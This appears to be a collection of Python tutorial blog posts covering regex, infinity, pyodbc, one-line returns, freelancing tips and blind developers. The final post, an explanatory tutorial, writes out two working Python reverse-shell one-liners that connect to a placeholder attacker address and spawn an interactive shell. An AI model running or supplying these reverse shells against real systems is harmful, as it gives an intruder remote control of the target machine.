Posted on Leave a comment

5 Evergreen Ways to Get Clients as a Freelancer

  • Create more Fiverr gigs and wait.
  • Apply for Upwork gigs proactively.
  • Contact business owners via email and offer your valuable services AFTER providing them some value.
  • Use content marketing to build a community and sell your services to them.
  • Create your scalable advertising funnel (e.g., Facebook Ads, Google Ads, Pinterest Ads).

To create your thriving business as a software developer online, consider purchasing my in-depth program “How to Become a Python Freelancer”!

Posted on Leave a comment

Python One Line Regex Match

Summary: To match a pattern in a given text using only a single line of Python code, use the one-liner import re; print(re.findall(pattern, text)) that imports the regular expression library re and prints the result of the findall() function to the shell.

Problem: Given a string and a regular expression pattern. Match the string for the regex pattern—in a single line of Python code!

Example: Consider the following example that matches the pattern 'F.*r' against the string 'Learn Python with Finxter'.

import re
s = 'Learn Python with Finxter'
p = 'F.*r'
# Found Match of p in s: 'Finxter'

Let’s dive into the different ways of writing this into a single line of Python code!

Exercise: Run the code. What’s the output of each method? Why does the output differ?

Do you want to master the regex superpower? Check out my new book The Smartest Way to Learn Regular Expressions in Python with the innovative 3-step approach for active learning: (1) study a book chapter, (2) solve a code puzzle, and (3) watch an educational chapter video.

Method 1: findall()

The re.findall(pattern, string, flags=0) method returns a list of string matches. Read more in our blog tutorial.

# Method 1: findall()
import re; print(re.findall('F.*r', 'Learn Python with Finxter'))
# ['Finxter']

There’s no better way of importing the re library and calling the re.findall() function in a single line of code—you must use the semicolon A;B to separate the statements A and B.

The findall() function finds all occurrences of the pattern in the string.

Method 2: search()

The re.search(pattern, string, flags=0) method returns a match object of the first match. Read more in our blog tutorial.

# Method 2: search()
import re; print(re.search('F.*r', 'Learn Python with Finxter'))
# <re.Match object; span=(18, 25), match='Finxter'>

The search() function finds the first match of the pattern in the string and returns a matching object

Method 3: match()

The re.match(pattern, string, flags=0) method returns a match object if the regex matches at the beginning of the string. Read more in our blog tutorial.

# Method 3: match()
import re; print(re.match('.*F.*r', 'Learn Python with Finxter'))
# <re.Match object; span=(0, 25), match='Learn Python with Finxter'>

The match() function finds the match of the pattern at the beginning of the string and returns a matching object. In this case, the whole string matches, so the match object encloses the whole string.

Method 4: fullmatch()

The re.fullmatch(pattern, string, flags=0) method returns a match object if the regex matches the whole string. Read more in our blog tutorial.

# Method 4: fullmatch()
import re; print(re.fullmatch('.*F.*r.*', 'Learn Python with Finxter'))
#<re.Match object; span=(0, 25), match='Learn Python with Finxter'>

The fullmatch() function attempts to match the whole string and returns a matching object if successful. In this case, the whole string matches, so the match object encloses the whole string.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

Lost Your Sight? How to Code as a Blind or Visually-Impaired Python Developer

I’m a developer who is blind. I’ve been blind since very shortly after birth. I’ve never gone through losing my sight. I wanted to see if my perspective lined up with that of others who are blind, but have lost their sight later on in life. Here is what I found out:

I reached out to parts of the blindness community in my network to see if anyone wanted to sit down and talk to me about their experiences. Six people replied to my query for interviews. I interviewed three of them for this article, and I plan on talking to the others after this writing.

I run an email group where other people who are blind hang out called Pythonvis. Anyone else can join. I sent one query there. Another group I hang out on is called Program-l. That group is broader in scope. Both groups cater to the unique needs of those of us who are looking for both programming help and help using the tools necessary to use our computers.

Blind Developer Survey — Stories

Before he lost his sight, Jeff Thompson learned to program while in college, using punch cards. He went on to have a career in the insurance industry. It wasn’t until much older that he lost his sight. Jeff is a member of Pythonvis and runs a weekly Python coaching session on a site called Out-of-site.

Taylor Arndt studies Computer Science at Western Michigan University in the United States.

Vaibhav Saraf is a software developer from India who lost his sight a little over a year ago.

All three told me that they went through a period where they were despondent about being unable to use their computer, but reached out and learned that they had a way out.

How They Use Their Computer

All three developers use software called screen readers. Screen readers speak what the user types into the computer and read what they want to know about the code they write.

Interestingly, the original IBM screen reader software was invented by Jim Thatcher, who was not blind, but was influenced by his blind thesis advisor. Ted Henter, who lost his sight in a car accident, invented the most popular screen reading software, JAWS, after he lost his site and went on to co-found FreedomScientific (https://www.freedomscientific.com/), which has since become part of the Vispero group of companies. They also all use NVDA, which was created by two blind developers.

NVDA is mostly written in Python and is open-source. One of the reasons I am learning Python is to contribute to that project.

Programming Tools

Jeff uses EdSharp, written in C# by Jamal Mazrui, himself a blind software developer, who works for Amazon.

Taylor and I use Visual Studio Code, which has very strong support for those of us who use screen readers.

Vaibhav uses Eclipse, which IBM contributed much code to enhance its ability to work with screen reading software.

[Resources] How They Learned Python

When I asked how they learned Python, they pointed me to resources, such as:

  • Bookshare, a site that houses many books on both fiction and non-fiction subjects, including Python development.
  • Professors and team leads who provided them with material in HTML or PDF tagged so that it is able to communicate with screen reading software through accessibility tags similar to HTML, which communicates information about the structure of the documents, such as which elements are headings, tables, form fields, and so on.
  • FreeCodeCamp.org which is a non-profit group that teaches full-stack web development, which has recently branched out into a section on Python.
  • W3Schools, which also has a Python curriculum.
  • The official Python tutorial
  • Various other free resources on the web, some books, others forums.

All of the above have in common that they are written in a form easy to consume by screen readers: HTML, DAISY, or EPub.

How They Communicate On Projects

All three said that email is something that is easy to use with screen reading software. They also all use Skype, Microsoft Teams, Zoom, or other communication software. All of these packages work with screen reading software.

Taylor and Vaibhav use Microsoft Word, so any specifications or instructions written as Word documents that have adequate text descriptions can serve as specifications for projects. Taylor and Vaibhav told me that wen professors or team members present course materials live that when they point to something on the board or when screen sharing that it helps to say the name of the thing they are pointing too, rather than “this,” or “Click this.”

It also helps to give directions on where to find something or perform an action to help build a mental model of the thing they are describing. At this point, screen reader users can share screens as presenters in communication software, but screen readers cannot communicate to the user the screens shared by others who are presenters. One way to off-set this disadvantage is to get the material before the presentation so they can read it over and become familiar with it.

How They Understand Program Structure

All three told me that they use their screen reader’s ability to communicate the number of tab characters appear at the beginnings of lines coupled with the colon characters at the beginnings of conditional expressions, loops, classes, and methods to gain a mental model of the code they work with. As we talked about this, Vaibhav said that he depends on his memory a great deal to understand code flow.

Screen readers can read a line at a time, a word at a time, and a character at a time, and if a developer is able to obtain a Braille display, they can read and follow indentation by using their fingers to feel the dots.

Another helpful tool to gain the understanding of program structure is the previews in Eclipse and Visual Studio Code that list symbols in outline form.

These conveniences for people who are sighted are essential for screen reader users in gaining efficiency, because they cannot glance down through a screen all at once and gain a quick overview of what the code or reading material may communicate. EdSharp also has a way to jump among symbols.

What It’s Like Working With Other Team Members

All three said that once those around them become familiar with their disability that they have no issues communicating and working efficiently with others.

They said that others are generally very willing to adapt their working style.

All three say that they are able to pull their own weight as equal contributors to projects. When it comes to working on open-source projects or any that involve using Git and sites like GitHub, command line Git works well with screen readers, because it uses pure text and screen readers and command line environments are good friends.

Advice For Would-Be Programmers

I asked all three what advice they would give to anyone who is blind who would like to go into programming. Points mentioned were:

  • This is something you can do if you really want to. You can reach out to forums such as Quora, Stack Exchange, Reddit, etc. and find others in your situation. There are email groups, such as Python-vis, Blind Programming, and other lists that specialize in one language or another where blind people hang out.
  • You need to learn to use your screen reader to the fullest extent possible and to do all you can to make yourself as efficient as possible using the keyboard and the tools at your disposal.
  • Take advantage of the communities around your chosen screen reader.
  • You may need to use alternative tools or methods to do your job more efficiently. Speak up when you need to do this.
  • Keep looking for more efficient ways to accomplish tasks.
  • There is enough reading material on the web to enable you to get good at Python.
  • Don’t get hung up because someone gives you material you cannot read or understand. Find material on the same subject from somewhere else.
  • You will often find yourself in a situation in which you cannot read something or use some aspect of a piece of software. When reporting bugs, stick to the facts, be tactful, keep your emotions out of the conversation. Most people want to help, once they understand where you are coming from.
  • You will need to work harder than the people around you and be patient while they come to grips with your disability. This is a given.
  • Rely on your network of supporters, your faith, meditation, or whatever helps you gain positive energy.
  • There will always be well-meaning people in your life who will tell you that you cannot do this. Smile and do it anyway.

To that I say Amen.

About the Author

Jim Homme is a former professional musician, father of three, husband, and a 32-year veteran in Information Technology. He loves to read and play chess. He leads a team of accessibility testers at Bender Consulting Services. He is the owner of jimhomme.com, where he writes about Python and related technologies.

Posted on Leave a comment

Python Infinity

Infinite “∞” is a term derived from the Latin word infinitas which means “without an end” or “boundless”. Similarly, infinity in python is an undefined value that can either be positive or negative. It comes in handy for measuring and optimizing complex algorithms. 

The positive infinity is used to denote the greatest of all values while the negative infinity is used to denote the least of all values.

Until now there is no way to represent infinity as an integer. However, in python float values can be used to represent infinite integer values. 

Let’s explore the ways Infinity can be used in python:

Method 1: Using float(inf) and float(-inf)

Infinity can be a positive or negative value and can be represented by float(inf) and float(-inf) respectively. 

The following code demonstrates the implementation of positive and negative infinity:

infinity_positive = float('Inf')
number = 9999999999999999999999999
if number > infinity_positive: print("number is greater than Infinity!")
else: print("Positive Infinity is the greatest! Even greater than",number) infinity_negative = float('-Inf') if -number < infinity_negative: print("number is lesser than Negative Infinity!") else: print("Negative Infinity is the least! Even smaller than",-number)

Output:

Positive Infinity is the greatest! Even greater than 9999999999999999999999999 Negative Infinity is the least! Even smaller than -9999999999999999999999999

Method 2: Using the “math” Module

Python’s math module can also be used to implement infinity. In Python 3.5 and higher math.inf is a predefined constant that is used to return positive infinity while -math.inf constant returns negative infinity. It returns a floating value.

The following code demonstrates the implementation of infinity using the math module:

import math
infinity_positive = math.inf
number = 9999999999999999999999999
# Positive Infinity
if number > infinity_positive: print("number is greater than Infinity!")
else: print("Positive Infinity is the greatest! Even greater than",number)
# Negative Infinity
infinity_negative = -math.inf
if -number < infinity_negative: print("number is lesser than Negative Infinity!")
else: print("Negative Infinity is the least! Even smaller than",-number)

Output:

Positive Infinity is the greatest! Even greater than 9999999999999999999999999 Negative Infinity is the least! Even smaller than -9999999999999999999999999

Method 3: Using the “decimal” module

Another way of implementing infinity is by using Python’s decimal module. Decimal(‘Infinity’) returns positive infinity while Decimal(‘-Infinity’) returns negative infinity.

The following code demonstrates the implementation of infinity using the math module:

from decimal import Decimal
infinity_positive = Decimal('Infinity')
number = 9999999999999999999999999 # Positive Infinity
if number > infinity_positive: print("number is greater than Infinity!")
else: print("Positive Infinity is the greatest! Even greater than",number) # Negative Infinity
infinity_negative = Decimal('-Infinity')
if -number < infinity_negative: print("number is lesser than Negative Infinity!")
else: print("Negative Infinity is the least! Even smaller than",-number)

Output:

Positive Infinity is the greatest! Even greater than 9999999999999999999999999 Negative Infinity is the least! Even smaller than -9999999999999999999999999

Method 4: Using the “Numpy” library

Another popular way of implementing Infinity in python is by using Python’s famous Numpy library. Numpy has its own definitions for infinite values. np.inf returns positive infinity while -np.inf returns negative infinity.

The following code demonstrates the implementation of infinity using the math module:

import numpy as np
infinity_positive = np.inf
number = 9999999999999999999999999
# Positive Infinity
if number > infinity_positive: print("number is greater than Infinity!")
else: print("Positive Infinity is the greatest! Even greater than",number)
# Negative Infinity
infinity_negative = -np.inf
if -number < infinity_negative: print("number is lesser than Negative Infinity!")
else: print("Negative Infinity is the least! Even smaller than",-number)

Output:

Positive Infinity is the greatest! Even greater than 9999999999999999999999999 Negative Infinity is the least! Even smaller than -9999999999999999999999999

Infinity Arithmetic

Generally, most arithmetic operations performed on infinity values result in generation of other infinite values. The following example illustrates this concept :

value = float('inf')
print('Result of Addition : ',value + 15)
print('Result of Subtraction : ',value - 15)
print('Result of Multiplication : ',value * 15)
print('Result of Division : ',value / 15)
#special scenario
print('Multiplication by Zero: ',value * 0)

Output:

Result of Addition: inf
Result of Subtraction: inf
Result of Multiplication: inf
Result of Division: inf
Multiplication by Zero: nan

Note:

  • Division by zero raises a ZeroDivisionError exception instead of yielding a resultant value.
  • Arithmetic operations on NaN always give NaN. There is no “negative NaN”.

Python Infinity Check

The isinf() method of the math module is used to check for infinite values in python. The following example demonstrates this concept :

import numpy as np
import math
num1 = np.inf
num2 = -np.inf
num3 = 25
print("Is num1 an infinite number?: ",math.isinf(num1))
print("Is num3 an infinite number?: ",math.isinf(num2))
print("Is num2 an infinite number?: ",math.isinf(num3)) 

Creating Arrays with Infinity values

The following example demonstrates how an array of infinity values can be created:

import numpy as np
# To create a numpy array with all values initialized to infinity
array_infinity = np.full(5, np.inf)
print('Infinite Array: ',array_infinity) 

Output:

Infinite Array: [ inf inf inf inf inf]

Test your knowledge based on the above explanations:

What will be the output of the following snippets?

Answers: Run the code to get the answers!

Conclusion

Infinity is majorly used in complex algorithmic designs and optimization problems. One such example is the Shortest Path Algorithm where the current distance values have to be compared with the best or the least distance values.

I hope you found this blog article useful and it helps you to get started with the fundamentals of Python Infinity!

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

5 Freelance Developer Tricks to Build a Sustainable Business

Do you want to thrive as a self-employed Python freelancer controlling your own time, income, and work schedule? Check out our Python freelancer resources:

Finxter Python Freelancer Course:
https://blog.finxter.com/become-python-freelancer-course/

Finxter Python Freelancer Webinar:
https://blog.finxter.com/webinar-freelancer/

Book: Leaving the Rat Race with Python (Pre-Release):
https://blog.finxter.com/book-six-figure-freelance-developer/

Posted on Leave a comment

How to Create a Database Table with pyodbc in Python

In this article, you will get the necessary information on how to create a table in SQLite using the package pyodbc in Python.  Example code is included and a link to a Github repo will be provided in the references section.

Prerequisites

To use pyodbc in this article some prerequisites need to be met.

  1. ODBC Driver – you need to download and install the ODBC driver for the database provider you are using. In this article, I am using SQLite.  Downloaded an ODCB driver for sqlite3 from http://www.ch-werner.de/sqliteodbc/,
  2. SQLite3 – this article assumes that you have SQLite3 in your system and have created a database called testDB.db.
  3. Database DDL – different database providers use different data definition languages.  DDL is the language needed to create tables in a database.  You must be familiar with this syntax to successfully create your table.  Creating tables in SQLite can be found here: https://sqlite.org/lang_createtable.html
  4. Design your table – This is the table that will be implemented in the example below:
Column Data Type Constraint Default Value
PersonId Integer PRIMARY KEY  
FirstName Text NOT NULL  
LastName Text NOT NULL  
Age Ineger NULL  
CreatedAt Text NOT NULL Now

Here is an example of why you need to know the Data Definition Language of your database.  The following information was taken from https://www.sqlite.org/datatype3.html


“SQLite does not have a storage class set aside for storing dates and/or times. Instead, the built-in Date And Time Functions of SQLite are capable of storing dates and times as TEXT, REAL, or INTEGER values:

  • TEXT as ISO8601 strings ("YYYY-MM-DD HH:MM:SS.SSS").
  • REAL as Julian day numbers, the number of days since noon in Greenwich on November 24, 4714 B.C. according to the proleptic Gregorian calendar.
  • INTEGER as Unix Time, the number of seconds since 1970-01-01 00:00:00 UTC.

Applications can choose to store dates and times in any of these formats and freely convert between formats using the built-in date and time functions.”


SQLite Create Table Data Definition Language for the PeopleInfo table:

CREATE TABLE PeopleInfo ( PersonId INTEGER PRIMARY KEY, FirstName TEXT NOT NULL, LastName TEXT NOT NULL, Age INTEGER NULL, CreatedAt TEXT DEFAULT CURRENT_TIMESTAMP NOT NULL );

Let’s dive into the steps to create a table in SQLite using pyodbc in Python.

Step 1: Install the pyodbc Package

Install the Pyodbc package using the following command:

pip install pyodbc

For Anaconda use the following command:

conda install -c anaconda pyodbc

Step 2: Connect Your Python Script to SQLite

Next, you will need to connect your script to SQLite.

You may use this template to perform the connection:

Remember to import the pyodbc package first. Connect to the database using the connect method with the ODBC connection string for SQLite.

import pyodbc
conn = pyodbc.connect('Driver={SQLite3 ODBC Driver};' 'Server=server_name;' 'Database=database_name;' 'Trusted_Connection=yes;')

Step 3: Create Cursor from Your Connection

The cursor object created by cursor() allows you to execute queries.

cursor = conn.cursor()

Step 4: Create the Table in SQLite

Now you will be able to create your table in SQLite

For our example, here is the code that I used to create the table in SQL Server using Python: 

cursor.execute(''' CREATE TABLE PeopleInfo ( PersonId INTEGER PRIMARY KEY, FirstName TEXT NOT NULL, LastName TEXT NOT NULL, Age INTEGER NULL, CreatedAt TEXT DEFAULT CURRENT_TIMESTAMP NOT NULL ); ''')

Step 5: Commit the Transaction

conn.commit()

Committing the transaction is an important topic to discuss.  The statement above explicitly commits the transaction.  If you do not commit the transaction, the database will not create the table.  The transaction will be rolled back.

 Other options to consider are:

 1 – Add the autocommit parameter to connect.  This will not require a manual commit.  For example:

con = pyodbc.connect(your_connection_string, autocommit = True)

2 – Use a with block and anything will be committed before the connection is terminated at the end of the with block.  For example:

with pyodbc.connect(your_connection_string) as con: CREATE_TABLE_CODE

Step 6: Insert Records to Verify Your Table is Configured Correctly.

cursor.execute(''' INSERT INTO PeopleInfo (PersonId, FirstName, LastName, Age) VALUES (1,'Bob','Smith', 55), (2, 'Jenny','Smith', 66) ''')
conn.commit()

Step 7: Run a SELECT Query to Retrieve the Records.

cursor.execute('SELECT * FROM PeopleInfo')
for row in cursor: print(row)

Step 8: Close Your Connection If It Isn’t Needed.

conn.close()

Database connections are an expensive resource and there might be limited connections available to your database.  Remember to close your connection explicitly if you are not using a “with“ block as explained in Step 5.

Complete code:

import pyodbc
conn = pyodbc.connect('Driver={SQLite3 ODBC Driver};' 'Server=localhost;' 'Database=testDB.db;' 'Trusted_Connection=yes;')
cursor = conn.cursor()
cursor.execute(''' CREATE TABLE PeopleInfo ( PersonId INTEGER PRIMARY KEY, FirstName TEXT NOT NULL, LastName TEXT NOT NULL, Age INTEGER NULL, CreatedAt TEXT DEFAULT CURRENT_TIMESTAMP NOT NULL ); ''')
conn.commit() cursor.execute(''' INSERT INTO PeopleInfo (PersonId, FirstName, LastName, Age) VALUES (1,'Bob','Smith', 55), (2, 'Jenny','Smith', 66) ''')
conn.commit() cursor.execute('SELECT * FROM PeopleInfo ')
for row in cursor: print(row) conn.close()

Output:

(1, 'Bob', 'Smith', 55, '2020-08-01 20:37:04')
(2, 'Jenny', 'Smith', 66, '2020-08-01 20:37:04')

References

1 – Pyodbc Github repo: https://github.com/mkleehammer/pyodbc

2 – Pyodbc Getting Started: https://code.google.com/archive/p/pyodbc/wikis/GettingStarted.wiki

3 – Create tables with SQLite: https://www.sqlitetutorial.net/sqlite-create-table/

Posted on Leave a comment

7 Sources of Passive Income for Coders

These are the types of passive income:

  • Affiliate earnings
  • Advertising earnings
  • eBooks
  • Online courses
  • SaaS
  • Index funds and exchange-traded funds (ETFs)
  • Real estate

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

Python One Line Return if

Problem: How to return from a Python function or method in single line?

Example: Consider the following “goal” statement:

def f(x): return None if x == 0

However, this leads to a Syntax error:

In this tutorial, you’ll learn how to write the return statement with an if expression in a single line of Python code. You can get an overview of the three methods in the interactive code shell:

Exercise: The code has no output. Print the results of all three function executions for a given x. Is it always the same?

Let’s dive into the three methods.

Method 1: As a Multi-Liner

The following method is the standard and most Pythonic way to accomplish this but using multiple lines:

def f(x): if x==0: return None

But how to write this as a one-liner?

Method 2: Direct One-Liner If

Nothing simpler than that—just write it into a single line!

def f(x): if x==0: return None

I should note that PEP 8 is actually fine with writing if block statements into a single line. Nevertheless, the default return value of a function is None so the code does really nothing.

Method 3: Ternary Operator

If you look for something more Pythonic, you can check out the ternary operator (also called “conditional expression”):

def f(x): return None if x==0 else 42

In this case, you also have to define a return value for the value 42. You should read the statement like this:

return (None if x == 0 else 42)

The statement inside the parentheses returns either None or 42—depending on the condition x == 0. If it is True, the value None is returned. If it is False, the value 42 is returned.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

Top 5 Python Freelancer Jobs to Earn $51 per Hour on Upwork or Fiverr

Python freelancers earn $51 per hour on average. But how do they do it? In the following video I show you the top five trending gigs for Python freelancers:

In summary, these are the most trending jobs how Python freelancers earn money in 2020:

  1. Create educational content:. You can write blog articles for blog owners, write ebooks for publishers, or create full video courses for education companies. These gigs usually require that you’re dedicated to teaching and you’re willing to learn. But the payoff can be huge—because you learn new things, increase your value to the marketplace and get paid in the process.
  2. Become a consultant. If you have mastered the freelancing platforms, it often becomes a good idea to leave those platforms because they take a hefty 20% cut from your earnings. You can position yourself as an independent consultant and offer your services to big companies and business owners without intermediaries. Over time, more and more consulting opportunities will present themselves to you. Just work on your skills and contribute!
  3. Develop websites. Python has great web development back-end functionality. You can master Django, Flask, and MySQL databases for Python. Then, you can develop websites for individuals and companies and sell them. If you streamline the process, you can earn significant money for relatively little time because the process of creating a website can be 10x faster for experienced coders that optimize processes.
  4. Create machine learning models. Many companies have huge amounts of training and testing data. They need better models. So, they hire 20-30 machine learning engineers to create models that maximize accuracy and minimize variance. Then, they take the best one. This can be a massive opportunity for you because machine learning is here to stay.
  5. Visualize data and create dashboards. The internet of thing is a growing beast. Business owners must observe data from various sources that may change dynamically. A great way of accomplishing this are dashboards. In Python, you can easily create dashboards using the Dash library from Plotly. If you master this rapidly growing technology, you’ll have plenty of work in the upcoming decade.

If you want to get a step-by-step blueprint on how to create your own freelancing business online, feel free to check out my full Python Freelancing Program! The link leads to the overview website on this blog.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Posted on Leave a comment

Python One Line Reverse Shell

This article will be fun! You’ll learn about an important concept in security: reverse shells. You’ll also learn how to create reverse shells in Python in a single line of code. So, let’s start with the big question:

What is a Reverse Shell?

Here’s the definition of a Reverse Shell:

A reverse shell is used by hackers to gain access to a target machine. The target machine opens a shell to communicate to the attacking machine. The attacking machine receives the connection (listening on a given port) and is now able to access the target computer. To accomplish a reverse shell, a hacker must execute code on a target machine. Reverse shells are also used by security engineers to test and prevent reverse shell attacks.

You can read more here. In this tutorial, you’ll learn how to create a reverse shell in one line Python.

Method 1

I found this code in a blog thread. You can run it from any computer with Python installed and visible from your current location:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

But you should never execute code that’s copy&pasted from an Internet source. What if the code removes all files from your computer?

Let’s have a look at how this code looks like as a Python multi-liner so that you can understand it better:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

As you see, the code opens a socket (which is an entry point for a connection), duplicates file descriptors, and calling a Linux shell. Thus, it will only run on Linux-based systems.

Method 2

In this Github thread, I found another one-liner that opens a reverse shell:

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

When writing the equivalent multi-liner, the code looks more understandable:

import pty
import socket,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("Kali-IP",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

It’s very similar to the above code but uses the pty library to create the shell.

Where to Go From Here?

Enough theory, let’s get some practice!

To become successful in coding, you need to get out there and solve real problems for real people. That’s how you can become a six-figure earner easily. And that’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

Practice projects is how you sharpen your saw in coding!

Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?

Then become a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

Join my free webinar “How to Build Your High-Income Skill Python” and watch how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!